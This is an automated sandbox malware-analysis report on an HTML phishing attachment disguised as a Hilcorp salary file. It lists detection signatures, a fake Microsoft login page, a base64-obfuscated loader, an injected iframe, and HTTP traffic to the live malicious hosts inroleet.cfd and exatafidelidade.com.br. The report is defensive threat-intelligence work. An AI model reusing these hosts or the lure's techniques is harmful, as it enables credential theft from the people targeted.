Edit tour

Windows Analysis Report
hilcorp_Salary_49372_2024.htm

Overview

General Information

Sample name:	hilcorp_Salary_49372_2024.htm
Analysis ID:	1437539
MD5:	96a9a3395b06213604e81b58cfcc89c7
SHA1:	dbab0acdc056973ec571759eca0eb7578fc4b1b5
SHA256:	360a04ca0c6ef3401d14f04089d6e7e08869ab298dbf842d8f063bfaca618891
Infos:

Detection

HtmlDropper, HTMLPhisher

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML file submission requesting Cloudflare captcha challenge

Phishing site detected (based on favicon image match)

Yara detected Html Dropper

Yara detected HtmlPhish44

Detected javascript redirector / loader

HTML IFrame injector detected

HTML Script injector detected

HTML document with suspicious title

HTML file submission containing password form

HTML page contains suspicious base64 encoded javascript

Multimodal LLM detected phishing page

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6556 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\hilcorp_Salary_49372_2024.htm" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6856 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2384 --field-trial-handle=2208,i,6760383206190319568,11150985953312491604,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_115	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.5.pages.csv	JoeSecurity_HtmlDropper_3	Yara detected Html Dropper	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Phishing site detected (based on favicon image match)

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

Matcher: Template: microsoft matched with high similarity

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_115, type: DROPPED

Detected javascript redirector / loader

Source: hilcorp_Salary_49372_2024.htm

HTTP Parser: Low number of body elements: 2

HTML IFrame injector detected

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: New IFrame, src: https://inroleet.cfd/dashboard/jdiey

HTML Script injector detected

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	HTTP Parser: New script, src: https://code.jquery.com/jquery-3.1.1.min.js
Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	HTTP Parser: New script tag found

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

Tab title: Sign in to best office providers #1E4PzRy

HTML page contains suspicious base64 encoded javascript

Source: https://inroleet.cfd/dashboard/jdiey	HTTP Parser: Base64 decoded: <script>
Source: https://inroleet.cfd/dashboard/jdiey	HTTP Parser: Base64 decoded: <script>

Multimodal LLM detected phishing page

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

LLM: Score: 8 brands: Microsoft Reasons: The URL 'file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm' suggests that the page is saved locally and mimics a Microsoft login page, which is a common phishing technique. The domain 'hilcorp.com' in the email address does not match Microsoft's legitimate domain, indicating an attempt to deceive users into thinking they are logging into a Microsoft account. The presence of a login form increases the risk of credential harvesting.

Phishing site detected (based on image similarity)

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

Matcher: Template: microsoft matched

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://inroleet.cfd/dashboard/jdiey

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: Title: Sign in to best office providers #1E4PzRy does not match URL

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: Invalid link: Forgot my password

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	HTTP Parser: Invalid link: Terms of use
Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	HTTP Parser: Invalid link: Privacy & cookies

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: <input type="password" .../> found

Source: hilcorp_Salary_49372_2024.htm	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm	HTTP Parser: No favicon
Source: https://inroleet.cfd/dashboard/jdiey	HTTP Parser: No favicon
Source: https://inroleet.cfd/dashboard/jdiey	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal	HTTP Parser: No favicon

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/hilcorp_Salary_49372_2024.htm

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.51.58.94:443 -> 192.168.2.8:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.8:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.206.229.226:443 -> 192.168.2.8:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.165.165.26:443 -> 192.168.2.8:49786 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 152.199.4.44 152.199.4.44
Source: Joe Sandbox View	IP Address: 104.17.3.184 104.17.3.184
Source: Joe Sandbox View	IP Address: 151.101.2.137 151.101.2.137
Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 13.107.213.40 13.107.213.40

Source: Joe Sandbox View

ASN Name: EPITECHFR EPITECHFR

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 23.51.58.94
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 52.165.165.26
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226
Source: unknown	TCP traffic detected without corresponding DNS query: 23.206.229.226

Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wpimg/dhdfjdf.png HTTP/1.1Host: exatafidelidade.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wpimg/ekfhdk?_=1715091130790 HTTP/1.1Host: exatafidelidade.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wpimg/dhdfjdf.png HTTP/1.1Host: exatafidelidade.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/jdiey HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://inroleet.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://inroleet.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/ce7818f50e39/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://inroleet.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://inroleet.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8801cdc8cadc8c54 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L- HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8801cdc8cadc8c54/1715091136934/92ce955c7fb6e856bd3f908a359ad50eec582161676d9558aed188f2110b5d1c/BmkAOk67Gyt5m5E HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1rmcj/0x4AAAAAAAZfbKRA3uD3to0K/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8801cdc8cadc8c54/1715091136927/4lVIDFE6iybK3L- HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=5hLsy2v82oG33kA&MD=TUWNxOpB HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/169092501:1715087394:BARsn763lEtPIs7yuOhseVgGcpRzXErFIt9Om1KqmSI/8801cdc8cadc8c54/eecdc0808b453da HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dashboard/wlqo HTTP/1.1Host: inroleet.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: /sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
